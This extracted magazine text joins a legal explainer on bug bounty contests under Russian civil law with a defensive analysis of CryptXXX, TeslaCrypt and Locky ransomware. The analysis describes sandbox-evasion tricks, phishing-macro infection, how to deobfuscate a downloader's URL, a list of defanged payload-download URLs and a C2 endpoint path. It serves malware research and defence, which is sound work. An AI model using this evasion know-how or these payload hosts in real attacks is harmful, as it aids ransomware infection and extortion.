кру гу лиц по выбору орга низа тора кон курса.

От кры тый кон курс может быть обус ловлен пред варитель ной ква лифи каци ‐
ей его учас тни ков, ког да орга низа тором кон курса про водит ся пред варитель ‐
ный отбор лиц, пожелав ших при нять в нем учас тие.

От кры тый  кон курс —  это  ког да  его  орга низа тор  пуб лично  сооб щает  о  нем
всем через СМИ, даже если текст содер жит огра ниче ние по тому, кто может
учас тво вать.  Зак рытый  кон курс —  это  ког да  его  орга низа тор  сам  выбира ет
потен циаль ных учас тни ков и рас сыла ет им пра вила и усло вия.

При веден ные  выше  при меры —  это  откры тые  кон курсы.  Нес мотря  на  то
что сай ты, на которых они опуб ликова ны, могут не быть СМИ, это не дол жно
ввер гать в сом нения. Впол не воз можно, что пра вила этих кон курсов дос тупны
и на дру гих сай тах, которые счи тают ся СМИ (то есть име ют соот ветс тву ющую
лицен зию Рос комнад зора).

КАКУЮ ИНФОРМАЦИЮ ДОЛЖНЫ СОДЕРЖАТЬ ПРАВИЛА
КОНКУРСА?
Кон курс обя затель но дол жен иметь свои пра вила про веде ния. Нет пра вил —
нет кон курса. В законо датель стве тре бова ния к пра вилам кон курса изло жены
сле дующим обра зом (см. пункт 4 все той же статьи 1057 ГК РФ):

Объ явле ние о пуб личном кон курсе дол жно содер жать по край ней мере усло ‐
вия,  пре дус матри вающие  сущес тво  задания,  кри терии  и  порядок  оцен ки
резуль татов  работы  или  иных  дос тижений,  мес то,  срок  и  порядок  их  пред ‐
став ления,  раз мер  и  фор му  наг рады,  а  так же  порядок  и  сро ки  объ явле ния
резуль татов кон курса.

Сле дова тель но, пра вила дол жны содер жать всю информа цию о кон курсе: что
надо сде лать учас тни ку, что бы пре тен довать на получе ние наг рады, порядок
учас тия,  кри терии  оцен ки  резуль татов,  опи сание  наг рады  и  поряд ка  огла ‐
шения резуль татов.

Воз можно,  кому‐то  это  может  показать ся  стран ным,  но  кон курс  дол жен
быть нап равлен на дос тижение каких‐либо общес твен но полез ных целей (см.
пункт 2 статьи 1057 ГК РФ). Если их нет — мероп риятие кон курсом приз нать
нель зя.

Вот  , которые под ходят под необ ходимые усло вия
(все усло вия читай по ссыл ке):

при мер пра вил кон курса

ООО «Газин фор мсер вис» объ явля ет кон курс «Поиск уяз вимос тей в тех ничес ‐
ком  решении  по  защищен ному  уда лен ному  дос тупу»  в  целях  прив лечения
вни мания  IT‐сооб щес тва  и  пот ребите лей  к  воп росам  информа цион ной
безопас ности, поис ку новых про фес сиональ ных решений.

По беди тель получит приз в раз мере 100 000 руб лей.
Ис кать уяз вимос ти мож но с 31 октября по 12 нояб ря 2012 (вклю читель но),

победи тель будет объ явлен на кон ферен ции ZeroNights.

Та ким  обра зом,  перечис ленные  усло вия  сле дует  счи тать  обя затель ными.
Орга низа тор  дол жен  довес ти  их  до  све дения  потен циаль ных  учас тни ков,
как это пре дус мотре но законом. Если подоб ных усло вий нет, зна чит, кон курс
не соот ветс тву ет положе ниям дей ству юще го законо датель ства и легаль ность
его про веде ния — под воп росом. В то же вре мя все осталь ные усло вия кон ‐
курса  (раз  они  не  пре дус мотре ны  законом)  сле дует  счи тать  факуль татив ‐
ными:  они  могут  при сутс тво вать  или  не  при сутс тво вать  в  пра вилах  —
на усмотре ние орга низа тора.

Ког да  дело  каса ется  Bug  Bounty,  в  кон кур сной  докумен тации  важ но
не толь ко рас писать тре бова ния к учас тни кам и сро ки про веде ния, но и сооб ‐
щить  о  том,  какие  прог рам мные  про дук ты  учас тву ют  в  кон курсе,  а  какие —
нет,  объ явить  порядок  сооб щения  орга низа тору  информа ции  о  выяв ленных
уяз вимос тях  и  порядок  рас кры тия  такой  информа ции  для  обще го  дос тупа,
кри терии оцен ки уяз вимос тей и информа цию о наг раде.

В качес тве при мера удач ного офор мле ния кон кур сной докумен тации могу
при вес ти  положе ния  кон курса  «Яндекса»  «Охо та  за  ошиб ками»  ( ).
Хорошим  тоном  счи тает ся  офор млять  пра вила  не  толь ко  в  виде юри дичес ‐
кого  тек ста  (порой  труд ного  для  вос при ятия),  но  и  в  виде  более  прос тых
и  понят ных  пояс нений.  У  «Охо ты  за  ошиб ками»  такие  пояс нения  есть,  они
изло жены на отдель ном сай те  .

PDF

yandex.ru/bugbounty

МОЖНО ЛИ МЕНЯТЬ ПРАВИЛА КОНКУРСА?
Ес ли вкрат це, то орга низа тор их может менять, а вот учас тник — нет. И даже
орга низа тор  может  вно сить  изме нения  толь ко  в  опре делен ном  слу чае.
За разъ ясне ниями обра тим ся к статье 1058 ГК РФ:

1. Ли цо,  объ явив шее  пуб личный  кон курс,  впра ве  изме нить  его  усло вия
или отме нить кон курс толь ко в течение пер вой полови ны уста нов ленно го
для пред став ления работ сро ка.

2. Из вещение об изме нении усло вий или отме не кон курса дол жно быть сде ‐
лано тем же спо собом, каким кон курс был объ явлен.

3. В слу чае изме нения усло вий кон курса или его отме ны лицо, объ явив шее
о  кон курсе,  дол жно  воз местить  рас ходы,  понесен ные  любым  лицом,
которое  выпол нило  пре дус мотрен ную  в  объ явле нии  работу  до  того,
как ему ста ло или дол жно было стать извес тно об изме нении усло вий кон ‐
курса и о его отме не. Лицо, объ явив шее кон курс, осво бож дает ся от обя ‐
зан ности воз мещения рас ходов, если докажет, что ука зан ная работа была
выпол нена не в свя зи с кон курсом, в час тнос ти до объ явле ния о кон курсе,
либо заведо мо не соот ветс тво вала усло виям кон курса.

4. Ес ли при изме нении усло вий кон курса или при его отме не были наруше ны
тре бова ния, ука зан ные в пун ктах 1 или 2 нас тоящей статьи, лицо, объ явив ‐
шее  кон курс,  дол жно вып латить наг раду  тем,  кто  выпол нил работу,  удов ‐
летво ряющую ука зан ным в объ явле нии усло виям.

Как видишь, орга низа тор может поменять пра вила толь ко в пер вой полови не
сро ка  про веде ния  кон курса.  Если  на момент  таких  изме нений  учас тник  уже
успел понес ти какие‐то рас ходы  (нап ример, закупил необ ходимое для учас ‐
тия  ПО),  то  орга низа тор  будет  обя зан  воз местить  их.  Но  сна чала  при дет ся
доказать, что эти рас ходы дей стви тель но свя заны с учас тием в кон курсе.

Пра во на изме нение усло вий име ет свой смысл — мало ли что у орга низа ‐
тора пой дет не так. К тому же слу чает ся, что орга низа тор не один и ито говое
воз награж дение  зависит  от  сто рон них  пар тне ров  кон курса.  В  то  же  вре мя
не  дол жно  быть  так,  что  орга низа тор  зав лек мас титых  учас тни ков  гром кими
обе щани ями,  а  затем  бли же  к  кон цу  кон курса  опе ратив но  поменял  усло вия
про веде ния.  Имен но  поэто му  и  пре дус мотре на  нор ма  о  зап рете  на  изме ‐
нения усло вий кон курса во вто рой полови не.

Так что если собира ешь ся учас тво вать в кон кур сной Bug Bounty, пра вила
которой  дей ству ют  в  соот ветс твии  с  рос сий ским  законо датель ством,
не забудь про то, что на стар те кон курса усло вия могут быть одни, а к середи ‐
не — дру гие.

ЧТО НАДО ЗНАТЬ ПРО НАГРАДУ?
Наг рада дол жна быть в любом слу чае (на то он и кон курс). Как ты уже про чел
в пун кте 1 статьи 1057 ГК РФ, орга низа тор кон курса дол жен сооб щить, какая
имен но наг рада полага ется победи телям. Неред ко в усло виях кон курса мож ‐
но встре тить обе щание наг рады в виде цен ных при зов и подар ков. В целом
это нор маль но, но, если орга низа тор кон кур сной Bug Bounty хочет боль шего
доверия  к  себе  и  сво ему  кон курсу,  ему  сто ит  быть  более  проз рачным
и  откры то  сооб щить,  что  имен но  будет  ждать  победи телей.  Это  поз волит
избе жать  воз можных  спо ров  и  общес твен ного  порица ния,  ког да  учас тни ки
узна ют,  что  за  тру доем кое решение задач по обна руже нию уяз вимос тей им
дос танут ся какие‐нибудь бюд жетные смар тфо ны.

Мо жет ли наг рада пред назна чать ся толь ко для одно го победи теля? Усло ‐
виями  кон курса  может  быть  пре дус мотре но,  что  наг рада  в  кон курсе  одна
и дос танет ся тому, кто быс трее дру гих пра виль но выпол нит задание. Но если
выделен ное на кон курс вре мя исте чет и ока жет ся, что работу прис лал лишь
один учас тник, кон курс сле дует приз нать несос тояв шимся. При чина в том, что
в таком слу чае нель зя опре делить, нас коль ко прис ланная работа луч ше дру ‐
гих.

Еще  кон курс  может  быть  приз нан  несос тояв шимся,  если  ни  одно му
из учас тни ков не уда лось дос тигнуть такого резуль тата, который по пра вилам
кон курса может быть приз нан успешным. Такие слу чаи тоже извес тны. Ниже
при веден  при мер  того,  как  ник то  не  смог  взло мать  шиф рование  Telegram,
нес мотря  на  воз можность  перех ватывать  сооб щения  и 
в 300 тысяч дол ларов. Заметим, что этот кон курс про водил ся в соот ветс твии
с законо датель ством дру гой стра ны, а не рос сий ским.

обе щание  наг рады

Crypto Contest Ends 
The current round of our contest to crack Telegram’s encryption ends with
no  winners.  Despite  the  $300,000  bounty  and  the  fact  that  contestants
could act as the Telegram server passing info between the users (i.e. use
any kinds of active attacks, manipulate traffic etc.) no one could decipher
their Secret Chats by the beginning of February.

Не забудь и о том, что наг рада может под лежать налого обло жению. Если сто ‐
имость  наг рады  или  ее  раз мер  не  пре выша ет  4000  руб лей,  то  налог  вып ‐
лачивать  не  пот ребу ется;  если  кон курс  про водил ся  в  свя зи  с  рек ламой
каких‐либо товаров, работ или услуг, то налог сос тавит 35%; в осталь ных слу ‐
чаях нуж но упла тить 13%. Сов сем не лиш ним будет уточ нить у орга низа тора,
кому сле дует пла тить налог, — зап латит  ли его орга низа тор  за победи теля,
или об этом при дет ся заботить ся самос тоятель но. Под робнее об этом 

.
чи тай

на сай те ФНС
В  слу чае  с  коман дны ми  кон курса ми  сто ит  обго ворить  еще  и  то,  как  наг ‐

рада  будет  рас пре деле на  меж ду  чле нами  коман ды‐победи теля.  Здесь  сле ‐
дует руководс тво вать ся пун ктом 2 статьи 1059 ГК РФ:

Ес ли ука зан ные в объ явле нии резуль таты дос тигну ты в работе, выпол ненной
сов мес тно дву мя или более лицами, наг рада рас пре деля ется в соот ветс твии
с  дос тигну тым меж ду  ними  сог лашени ем.  В  слу чае,  если  такое  сог лашение
не будет дос тигну то, порядок рас пре деле ния наг рады опре деля ется судом.

То есть орга низа тор будет ждать, что победив шая коман да сама пре дос тавит
информа цию о том, как рас пре делять денеж ное воз награж дение или при зы.
В слу чае с денеж ным воз награж дени ем орга низа тор неред ко стре мит ся сок ‐
ратить  для  себя  бумаж ную  работу  и  догова рива ется  с  учас тни ками  о  воз ‐
можнос ти перечис лить всю сум му на счет одно го из них,  что бы  тот рас пре ‐
делил ее меж ду  осталь ными. Для  это го орга низа тор дол жен получить  пись ‐
мен ное сог ласие всех учас тни ков и уста новить, в каких долях рас пре деля ется
воз награж дение  и  на  какой  счет  его  перечис лять.  Это  поз воля ет  избе жать
пре тен зий отно ситель но невып латы или неп равиль ной вып латы при зовых.

МОГУ ЛИ Я ПУБЛИКОВАТЬ ИНФОРМАЦИЮ, ПОЛУЧЕННУЮ В ХОДЕ
КОНКУРСА?
Это  нап рямую  зависит  от  пра вил  кон курса.  Пос коль ку  Bug  Bounty  каса ется
уяз вимос тей,  на  устра нение  которых  порой  ухо дит  немало  вре мени,  в  пра ‐
вилах  кон курса  могут  встре чать ся  тре бова ния  к  учас тни кам  вре мен но  воз ‐
держать ся  от  рас кры тия  обна ружен ной  ими  информа ции.  Такие  при меры
неред ки — мож но пос мотреть прог раммы   и «Яндекса» ( ):Mail.Ru PDF

С  момен та  сооб щения  об  уяз вимос ти  дол жно  прой ти  не  менее  3  месяцев,
преж де  чем  вы  смо жете  опуб ликовать  её  детали.  Мы  про сим  вас  об  этом,
потому  что  нам  нуж но  иметь  дос таточ ное  количес тво  вре мени,  что бы  отве ‐
тить вам и испра вить уяз вимость.

Прось ба не рас ска зывать о най ден ных уяз вимос тях в течение 30 дней пос ле
отправ ки  сооб щения  на  кон курс.  Так же,  пожалуй ста,  не  раз мещай те  код
обна ружен ной  уяз вимос ти  на  пуб личных  ресур сах,  что бы  информа ция
не попала к треть им лицам.

КАКИЕ РИСКИ У BUG BOUNTY КАК КОНКУРСА?
Ду маю, ты уже понял, что в отли чие от модели с офер той учас тник кон курса
не может прос то  так  взять и  зас лать орга низа тору свой вари ант пра вил.  Ты
можешь  попытать ся,  но  это  будет  лишь  пожела нием,  которое  орга низа тор
может (но не обя зан) при нять во вни мание.

По это му  если  ты  ловец  уяз вимос тей  и  нашел  себе  под ходящий  кон курс
Bug Bounty, то имей в виду, что сле дует вни матель но озна комить ся с кон кур ‐
сной докумен таци ей, что бы ясно пред став лять, какие дей ствия будут допус ‐
тимы, а какие — нет.

Пом ни и о том, что орга низа тор кон курса может изме нить пра вила. Поэто ‐
му,  если  твое  учас тие  вле чет  опре делен ные  рас ходы,  вни матель но  сле ди
за изме нени ями. Если  усло вия вдруг ста ли невыгод ными, есть воз можность
получить воз мещение рас ходов.

Не  сто ит  забывать  и  о  налогах.  Если  тебе  уда лось  выиг рать  в  кон курсе,
выяс ни  у  орга низа тора,  обла гает ся  ли  приз  налогом,  какого  он  раз мера
и надо ли будет тебе вып лачивать его самос тоятель но. Ина че есть риск пос ле
победы  получить  не  толь ко  приз,  но  и  через  какое‐то  вре мя  уве дом ление
от налого вой о штра фе.

И конеч но, если в усло виях кон курса ука зано, что учас тник не может рас ‐
кры вать информа цию о най ден ных уяз вимос тях рань ше вре мени, то сле дует
при дер живать ся это го пра вила. Если ты его про игно риру ешь, то велика веро ‐
ятность,  что  твои  резуль таты  будут  анну лиро ваны,  а  в  худ шем  слу чае  тебя
еще и прив лекут  к ответс твен ности — в час тнос ти,  за рас кры тие кон фиден ‐
циаль ной информа ции.

На деюсь,  этот  текст  помог  тебе  разоб рать ся  с  кон кур сной  раз новид ‐
ностью Bug Bounty и получен ные зна ния убе регут тебя от оши бок. На оче реди
у нас такие модели Bug Bounty, как пуб личное обе щание наг рады и договор.
А пока — успешной лов ли багов на кон курсах!
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Ак тивность  вымога тель ско го  ПО  (ransomware)  в  2016  году
находи лась  на  рекор дно  высоком  уров не,  и  об  ее  спа де
в  пер вом  квар тале  2017‐го  говорить  не  при ходит ся.  Эту
статью мы решили пос вятить самым популяр ным и злоб ным
злов редам‐вымога телям,  осо бен но  отли чив шимся
в 2016 году. Мы раз берем их устрой ство, поведе ние, обход
песоч ниц и UAC, а так же механиз мы самоза щиты.

ВЫМОГАТЕЛЬ CRYPTXXX
Вы мога тель  CryptXXX  был  обна ружен  в  апре ле  2016  года  и  быс тро  стал
одним  из  самых  активных  семей ств  ран сомва ри.  Поч ти  чет верть  успешных
атак CryptXXX при ходит ся на жителей США,  так же пос тра дали поль зовате ли
из Япо нии, Гер мании и Рос сии.

CryptXXX  пос тавлял ся  через  набор  экс пло итов    и  рас ‐
простра нял ся  пос редс твом  вируса‐тро яна  .  Вымога тель  тре бует  зап ‐
латить выкуп в 500 дол ларов США за вос ста нов ление зашиф рован ных фай ‐
лов на компь юте ре и поз воля ет жер тве рас шифро вать один файл бес плат но.
Если  жер тва  не  пла тит  выкуп,  через  нес коль ко  дней  зап рашива емая  сум ма
удва ивает ся. По  всей  видимос ти,  новый  злов ред  соз дали  те же  хакеры,  что
сто ят  за  вымога телем  .  Из‐за  сходс тва  век торов  зараже ния  и  кода
счи тает ся, что они так же свя заны с авто рами и рас простра ните лями экс пло ‐
ит‐кита Angler. 26 апре ля «Лабора тория Кас пер ско го» выпус тила под ОС Win‐
dows  прог рамму‐дешиф ратор  для  это го  типа  вируса.  Исполня емый  файл
прог раммы мож но ска чать в цен тре под дер жки.

Angler  Exploit  Kit
Bedep

Reveton

Как и дру гие извес тные вымога тели, нап ример Locky, CryptXXX уве дом ляет
жертв о том, что их компь ютер заражен, а фай лы зашиф рованы, соз давая три
фай ла‐инс трук ции  раз ных  типов  —  ,

,  .
de_crypt_readme.txt

de_crypt_readme.bmp de_crypt_readme.html

Ис поль зование бинар ных кодов Microsoft
CryptXXX — это файл .dll  (биб лиоте ка динами чес кой ком понов ки), раз новид ‐
ность сов мес тно исполь зуемой биб лиоте ки. Дру гими сло вами, эта биб лиоте ‐
ка  содер жит  фай лы,  к  которым  могут  обра щать ся  нес коль ко  прог рамм
одновре мен но. Ни в одной опе рации CryptXXX нет самос тоятель ных про цес ‐
сов.

Все  запус каемые  злов редом  исполня емые  фай лы —  хорошо  извес тные
и  под писан ные  Windows  про цес сы.  Это  самый  прос той  спо соб  избе жать
песоч ниц  и  прод винутых  инс тру мен тов  защиты  от  угроз.  Его  при мене ние
говорит  о  том,  что  раз работ чики  вре донос ного  ПО  сно ва  адап тирова лись
к окру жающей сре де.

Рис. 1. CryptXXX — обна руже ние сиг натуры SandBlast Agent

CryptXXX  dll  исполь зует  про цесс  rundll 32  —  исполня емый  файл  Windows.
Запуск в коман дной стро ке пре дель но прост —  . Вызов име ни
биб лиоте ки  DLL  про исхо дит  без  вызова  рас ширения  .dll,  что  само  по  себе
подоз ритель но.  При  этом  имя  фун кции  выг лядит  несо ответс тву ющим.
В  реаль нос ти  код  злов реда  запус кает ся  одновре мен но  с  заг рузкой  биб ‐
лиоте ки DLL.

rundll32.exe

Бо лее того, бинар ный код  ,  под писан ный Windows,  копиру ‐
ется  в  дру гие  локации  под  име нем  ,  а  затем  запус кает ся
с помощью той же коман ды, что и   ранее.

rundll32.exe
svchost.exe

rundll32.exe

Рис. 2. Запуск svchost

Этот  спо соб  гени ален  в  сво ей  прос тоте:  инс тру мен ты  вро де  дис петче ра
задач или при ложе ния Process Explorer будут отоб ражать наз вание вре донос ‐
ного  про цес са  как    —  сре ди  мно жес тва  дру гих  про цес сов
с таким же име нем.

svchost.exe

Рис. 3. Как CryptXXX выг лядит в дис петче ре задач

Ес ли мы пос мотрим на свой ства про цес са, он будет выг лядеть как исполня ‐
емый файл, под писан ный Microsoft, — вот толь ко эта под пись пред назна чена
сов сем  для  дру гого фай ла.  Исполь зования  извес тных  сиг натур  и  извес тных
учет ных  записей  поль зовате лей  для  симуля ции  извес тных  про цес сов  будет
дос таточ но, что бы обма нуть авто мати чес кие инс тру мен ты.

Од нако некото рые отли чия могут выз вать подоз рения:
Мес то  запус ка ПО  не  явля ется мес том  запус ка  по  умол чанию  (в  дан ном
слу чае это пап ка «Заг рузки», в дру гих — пап ка  ).

•
%programdata%

Па рамет ры  запущен ного  про цес са  соот ветс тву ют  парамет рам  rundll 32,
что для svchost необыч но.

•

Про цесс  не  рас позна ется  как  служ ба  и  запус кает ся  с  раз решени ями
обыч ного поль зовате ля.

•

Об ход песоч ниц
Биб лиоте ки  динами чес кой  ком понов ки  (.dlls)  не  запус кают ся  сами  по  себе.
Для  их  запус ка  необ ходим  исполня емый  файл.  Боль шинс тво  песоч ниц
не  уме ют  делать  такую  про вер ку  и  потому  не  смо гут  обна ружить  новые
образцы вируса CryptXXX.

Хо тя и это го уже дос таточ но, CryptXXX еще и не спе шит. 
  Такое

выжида ние  поможет  обой ти  боль шинс тво  тра дици онных  песоч ниц,  которые
работа ют  толь ко  в  течение  нес коль ких  минут  и  не  возоб новля ют  про вер ку
пос ле задер жек.

Злов ред уме ет

откла дывать  свой  запуск  на  дол гий  срок — боль ше  чем  на  час.

Се тевая  активность,  которая  во  мно гих  слу чаях  исполь зует ся  для  обна ‐
руже ния и бло киров ки клю чевых обме нов дан ными, здесь све дена до самого
миниму ма, до двух зап росов к уда лен ным сер верам. Один из них адре сован
на совер шенно неиз вес тный IP, который находит ся где‐то в Гер мании.

Рис. 4. HTTPS‐зап рос на неиз вес тный IP

Су дя  по  сооб щени ям  о  дешиф ровке  и  методу  внед рения,  которые  харак ‐
терны  для  Angler  Exploit  Kit,  CryptXXX  очень  похож  на  TeslaCrypt,  одна ко
по сво ей сути эти злов реды силь но отли чают ся.

Рис. 5. HTML‐сооб щение CryptXXX

Рис. 6. TeslaCrypt Ransom Note

Рис. 7. CryptXXX Ransom Note содер жит тот же текст

Рис. 8. TeslaCrypt — обна руже ние сиг натуры SandBlast Agent

Вы мога тель Tesla получил рас простра нение в 2015 году и перенял мно жес тво
моделей поведе ния от сво его успешно го пред шес твен ника CryptoWall, вклю ‐
чая  офор мле ние  окон  с  тре бова нием  выкупа,  которые  так же  исполь зуют ся
в  CryptXXX.  Сле дующие  типы  поведе ния  помог ли  пос тавщи кам  про дук тов
безопас ности раз работать защиту про тив вируса:
1. Хра нение шаб лонов кода и кодов шиф рования в виде исполня емо го фай ‐
ла.

2. Уда ление теневой копии фай лов.
3. Ис поль зование коман дной стро ки для само уда ления.
4. Са моко пиро вание с дру гим име нем.

CryptXXX не содер жит ни один из этих приз наков:
1. У него нет исполня емых фай лов.
2. Он не уда ляет теневые копии фай лов через Vssadmin или WMIC.
3. Он не уда ляет сам себя.

Пос тоян ная эво люция
CryptXXX  кажет ся  похожим  на  TeslaCrypt,  но  этот  злов ред,  оче вид но,  учел
ошиб ки  пред шес твен ника.  Хотя  шиф рование  фай лов  некото рыми  его  вер ‐
сиями  уда лось  повер нуть  вспять,  авто ры  вре донос ного  ПО  не  собира ются
сда вать ся. Судя по раз личным образцам кода, вымога тель про дол жает раз ‐
вивать ся, и мы еще не раз встре тим ся с ним.

ВЫМОГАТЕЛЬ LOCKY
Уни каль ность  Locky  зак люча ется  в мас шта бах  его  рас простра нения.  За  две
недели пос ле обна руже ния ана лити ки Check Point выяви ли более 100  тысяч
жур наль ных записей, сви детель ству ющих о попыт ке заразить компь юте ры их
кли ентов  более  чем  в  100  стра нах  по  все му  миру.  В  сочета нии  с  тем,  что
Locky име ет фун кцию шиф рования сетевых ресур сов, пос ледс твия ата ки это ‐
го злов реда могут быть раз рушитель ными.

Ви рус Locky был впер вые обна ружен 16 фев раля 2016 года, ког да, по дан ‐
ным ана лити ков Check Point, про изош ла вспыш ка атак с его при мене нием —
более 50 тысяч попыток в день.

В  сен тябре  прош лого  года,  по  дан ным  отче та
Check Point Threat Index, вымога тель ский злов ред
Locky  впер вые  вошел  в  трой ку  самых  опас ных
и популяр ных вре донос ных прог рамм в мире.

Боль шинс тво  жертв  вируса  Locky  про жива ют  в  США.  Сле дующие  в  спис ке
стран по чис лу пос тра дав ших — Канада и Фран ция.

Locky  шиф рует  фай лы  жер твы,  а  затем  тре бует  выкуп  в  бит кой нах  за  их
рас шифров ку. Глав ный спо соб зараже ния — элек трон ные пись ма с вло жен ‐
ным докумен том Word, содер жащим вре донос ный мак рос. Мак рос запус кает
скрипт,  который ска чива ет исполня емый файл,  уста нав лива ет его на  компь ‐
ютер поль зовате ля, ска ниру ет фай лы сис темы и зашиф ровыва ет их.

Так же Locky рас позна ет и собира ет информа цию на машине жер твы. Нап ‐
ример, собира ются сле дующие дан ные:

яв ляет ся ли заражен ная машина частью кор поратив ной сети;•
сер вер это или рабочая стан ция;•
язык интерфей са поль зовате ля ОС;•
вер сия ОС;•
ста тис тика  по  каж дому  зашиф рован ному  дис ку:  чис ло  зашиф рован ных
фай лов,  чис ло  неудач ных  попыток  шиф рования,  объ ем  зашиф рован ных
исходных дан ных.

•

На сегод няшний день Locky по‐преж нему рас простра няет ся сре ди ни в чем
не повин ных поль зовате лей по элек трон ной поч те. Его инфраструк тура раз ‐
вива ется и под держи вает ся.

Ата ка  вируса  час то  начина ется  с  пись ма,  к  которо му  при ложен  счет.
Отпра витель  пред став ляет ся  сот рудни ком  извес тной  ком пании.  В  при мере
ниже пись мо как буд то бы приш ло от Praxair Inc.

Рис. 9. Ори гинал пись ма, получен ного сот рудни ками Check Point

Нес коль ко  сот рудни ков Check  Point  получи ли  похожие  элек трон ные  пись ма.
Check Point SandBlast обна ружил и ней тра лизо вал вло жение:

Рис. 10. Check Point SandBlast

Рис. 11. Check Point SandBlast

Вло жение  содер жит  мак рос,  запуск  которо го  поль зователь  дол жен  раз ‐
решить вруч ную (как пра вило, ина че текст докумен та был нечита белен):

Рис. 12. Мак рос

Раз решение мак роса запус кает ска чива ние вре донос ного ПО, которое рас ‐
позна ется как вымога тель Locky.

Рис. 13. Ска чива ние тра фика, зафик сирован ное Wireshark

На  сегод няшний  день  мы  выяви ли  более  десяти  раз личных  вари антов  заг ‐
рузчи ка Locky.

Каж дый  вари ант  име ет  свой  собс твен ный  спо соб  обхо да  обна руже ния,
некото рые из них исполь зуют раз ные типы фай лов: .doc, .docm, .xls и .js.

Рис. 14. При меры элек трон ных писем

Да вай раз берем ся, как работа ет Locky и что он дела ет. Пер вый этап — жер ‐
тва  получа ет  элек трон ное  пись мо  с  подоз ритель ным  вло жени ем  (заг рузчи ‐
ком).  Если  жер тва  откры вает  вло жение,  ска чива ется  вре донос ный  эле мент
(Locky)  с  уда лен ного  сер вера.  Затем  Locky  под клю чает ся  к  сво им  C2‐сер ‐
верам  для  обме на  клю чами  шиф рования.  Наконец,  Locky  шиф рует  опре ‐
делен ные  фай лы  толь ко  задан ного  типа  и  отоб ража ет  клас сичес кое  сооб ‐
щение с тре бова нием выкупа.

Рис. 15. Путь пись ма
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ИЗУЧАЕМ РАБОТУ ЛОКЕРОВ‐
ШИФРОВАЛЬЩИКОВ CRYPTXXX,
TESLACRYPT, LOCKY И CERBER

MALWARE  НАЧАЛО СТАТЬИ←

Заг рузчи ки
По  срав нению  с  более  ран ними  вымога тель ски ми  кам пани ями  тех нология
обфуска ции  (мас киров ка  кода),  при меня емая  в  заг рузчи ках  Locky,  сов сем
не слож ная — ско рее наобо рот. Некото рые при меры содер жали один мас сив
со стро кой заг рузки URL, зашиф рован ной в виде спис ка чис ловых зна чений
(при мер  будет  ниже).  В  дру гих  в  качес тве метода мас киров ки  кода  исполь ‐
зовал ся обыч ный про пуск сим волов с помощью JavaScript. Мы про ана лизи ‐
рова ли  име ющиеся  образцы  кода  по  тому,  какое  рас ширение  фай ла  они
исполь зуют:

Рис. 16. Рас ширение фай лов

Да вай  рас смот рим  кон крет ный  при мер  работы  заг рузчи ка  Locky  (MD5:
45B849E00131B4434D488295CB48B36C).  Если  открыть  файл  в  VBA‐редак ‐
торе  (коман да  Alt  +  F11  в  Word),  мож но  уви деть  замас кирован ную  мак ‐
рокоман ду:

Рис. 17. Замас кирован ная мак рокоман да

Эта  мак рокоман да  исполь зует  объ ект Microsoft’s  XMLHTTP,  что бы  заг рузить
вре донос ный  эле мент  с  уда лен ного  сер вера,  а  затем  запус кает  его
с  помощью  коман ды  .  Фун кция    добав ‐
лена  в  мак рос  для  вывода  PubDoStop,  вос ста нов ленно го  мас сива  Kogda‐
Ge_7 пос ле про цес са деоб фуска ции.

WScript.Shell  object MsgBox  (1)

Рис. 18. Рас шифро ван ный URL

Что бы вруч ную раз маски ровать мас сив KogdaGe_7, нам прос то необ ходимо
умень шить зна чение каж дого его эле мен та на 142 (99 + 43), а затем пред ста ‐
вить  его  в  виде  соот ветс тву юще го  это му  зна чению  сим вола  ASCII  (2).  При ‐
мер:

1st character: • chr(246-99-43) = chr(104) = ‘h’
2nd character: • chr(258-99-43) = chr(116) = ‘t’

И так далее…

Ссыл ки для заг рузки вре донос ного эле мен та (payload)
Мы обна ружи ли дос таточ ное количес тво URL, на которых раз меща ются вре ‐
доно сы. Боль шинс тво этих хос тов — заражен ные рус ские сай ты. Некото рые
из них уже не сущес тву ют. Сре ди най ден ных нами шаб лонов:

hxxp://almazuelas[.]es/1/1.exe•
hxxp://lasmak[.]pl/2/2.exe•
...•
hxxp://luigicalabrese[.]it/7/7.exe•
hxxp://173.214.183[.]81/tomorrowhope/09u8h76f/65fg67n•
hxxp://iynus[.]net/test/09u8h76f/65fg67n•
hxxp://5.101.152[.]77/system/logs/56y4g45gh45h•
hxxp://tcpos.com[.]vn/system/logs/56y4g45gh45h•
hxxp://accesorios.nuestroservidor[.]es/system/logs/7623dh3f.exe?.7055475•
hxxp://blitz 174[.]ru/system/smsgate/7623dh3f.exe?.7055475•
hxxp://acilkiyafetgulertekstil[.]com/system/logs/exe•
hxxp://alkofuror[.]com/system/engine/7647gd7b43f43.exe•
hxxp://hazentrumsuedperlach[.]de/1/1_5a0befc 0.exe•
hxxp://afive[.]net/3/3_7223d94c.exe•
hxxp://demo 2.master‐pro[.]biz/plugins/ratings/87h754•
hxxp://firstcopymall[.]com/system/logs/87h754•

Пос ледняя  ссыл ка  была  обна руже на  в  замас кирован ном  JS‐заг рузчи ке.
Хакеры, ско рее все го, полени лись как сле дует замес ти сле ды, пос коль ку мы
можем  уви деть  уже  незамас кирован ный  код  (обра ти  вни мание  на  двой ные

):http://

Рис. 19. Незамас кирован ный код

Для  того  что бы  Locky  мог  зашиф ровать  фай лы  жер твы,  как  минимум  один
из  C2‐сер веров  дол жен  быть  акти вен.  Этот  важ ный  факт  побуж дает  нас
к  поис ку  как мож но  боль шего  чис ла C2‐сер веров —  что бы  защитить  наших
заказ чиков.  Мы  обна ружи ли  сот ни  C2‐сер веров.  Рас пре деле ние  доменов
вер хне го уров ня (Top Level Domains, TLD) на них пред став лено на сле дующем
рисун ке.  Бла года ря  алго рит му  генери рова ния  доменов  (Domain  Generation
Algorithm, DGA) Locky доволь но рав номер но рас пре деля ет свои домены меж ‐
ду TLD — на каж дый TLD их при ходит ся 6–8%. «Дру гие» TLD с заг рузоч ными
эле мен тами  Locky,  не  исполь зовав шие DGA,  вмес то  них  име ли  спис ки  явно
задан ных C2‐сер веров.

Рис. 20. C2

Шиф рование сетево го тра фика с сер веров C2 с помощью Locky
Все  HTTP‐зап росы  —  это  зап росы  типа  POST,  отправ ляемые  на 

.
http://<

C2Server>/main.php
Locky  исполь зует  выделен ную  пару  раз ных  алго рит мов  шиф рования:

один  —  для  зап росов  к  сер веру,  а  дру гой  —  для  рас шифров ки  отве тов.
В  обо их  алго рит мах  при меня ются  32‐бит ные  клю чи  шиф рования  —  очень
сла бые  по  сегод няшним  мер кам.  На  сле дующем  рисун ке  мы  отоб разили
алго рит мы зап роса на шиф рование EncryptRequest и откли ка на дешиф ровку
DecryptResponse.

